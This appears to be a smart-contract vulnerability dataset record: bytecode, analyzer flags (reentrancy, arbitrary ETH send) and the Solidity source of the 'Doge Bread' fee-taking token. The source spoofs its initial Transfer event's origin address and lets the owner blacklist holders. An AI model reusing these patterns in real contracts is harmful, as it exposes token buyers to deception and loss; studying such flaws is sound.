15612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d23c955b197527c0f27795399b11ae5bfb47943eec8135c5da5fbc167e210a3064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,400
0x3a1aeea7c88048bdf6501773be89dead21b2060f
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ // File: contracts/DogeBread.sol /** *Submitted for verification at Etherscan.io on 2021-06-05 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DOGEBREAD is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Doge Bread"; string private constant _symbol = "DOGEBREAD"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612888565b61045e565b6040516101789190612d43565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612835565b61048c565b6040516101e09190612d43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061279b565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612f55565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612911565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061279b565b610782565b6040516102b19190612ee0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612c75565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612d5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612888565b61098c565b60405161035b9190612d43565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128c8565b6109aa565b005b34801561039957600080fd5b506103a2610ad4565b005b3480156103b057600080fd5b506103b9610b4e565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061296b565b6110a9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127f5565b6111f1565b6040516104189190612ee0565b60405180910390f35b60606040518060400160405280600a81526020017f446f676520427265616400000000000000000000000000000000000000000000815250905090565b600061047261046b611278565b8484611280565b6001905092915050565b6000670de0b6b3a7640000905090565b600061049984848461144b565b61055a846104a5611278565b6105558560405180606001604052806028815260200161363360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b611278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b039092919063ffffffff16565b611280565b600190509392505050565b61056d611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612e40565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610666611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612e40565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610751611278565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611b67565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c62565b9050919050565b6107db611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612e40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f444f474542524541440000000000000000000000000000000000000000000000815250905090565b60006109a0610999611278565b848461144b565b6001905092915050565b6109b2611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612e40565b60405180910390fd5b60005b8151811015610ad057600160066000848481518110610a6457610a6361329d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac8906131f6565b915050610a42565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b15611278565b73ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b6000610b4030610782565b9050610b4b81611cd0565b50565b610b56611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612e40565b60405180910390fd5b601160149054906101000a900460ff1615610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612ec0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611280565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0857600080fd5b505afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4091906127c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906127c8565b6040518363ffffffff1660e01b8152600401610df7929190612c90565b602060405180830381600087803b158015610e1157600080fd5b505af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4991906127c8565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed230610782565b600080610edd610926565b426040518863ffffffff1660e01b8152600401610eff96959493929190612ce2565b6060604051808303818588803b158015610f1857600080fd5b505af1158015610f2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f519190612998565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555067016345785d8a00006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611053929190612cb9565b602060405180830381600087803b15801561106d57600080fd5b505af1158015611081573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a5919061293e565b5050565b6110b1611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612e40565b60405180910390fd5b60008111611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612e00565b60405180910390fd5b6111af60646111a183670de0b6b3a7640000611f5890919063ffffffff16565b611fd390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e69190612ee0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790612ea0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612dc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143e9190612ee0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b290612e80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290612d80565b60405180910390fd5b6000811161156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612e60565b60405180910390fd5b6005600a81905550600a600b81905550611586610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f457506115c4610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561169d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117515750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117bf5750601160179054906101000a900460ff165b1561186f576012548111156117d357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061181e57600080fd5b601e4261182b9190613016565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119705750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611986576005600a81905550600a600b819055505b600061199130610782565b9050601160159054906101000a900460ff161580156119fe5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a165750601160169054906101000a900460ff165b15611a3e57611a2481611cd0565b60004790506000811115611a3c57611a3b47611b67565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ae75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af157600090505b611afd8484848461201d565b50505050565b6000838311158290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429190612d5e565b60405180910390fd5b5060008385611b5a91906130f7565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bb7600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be2573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffff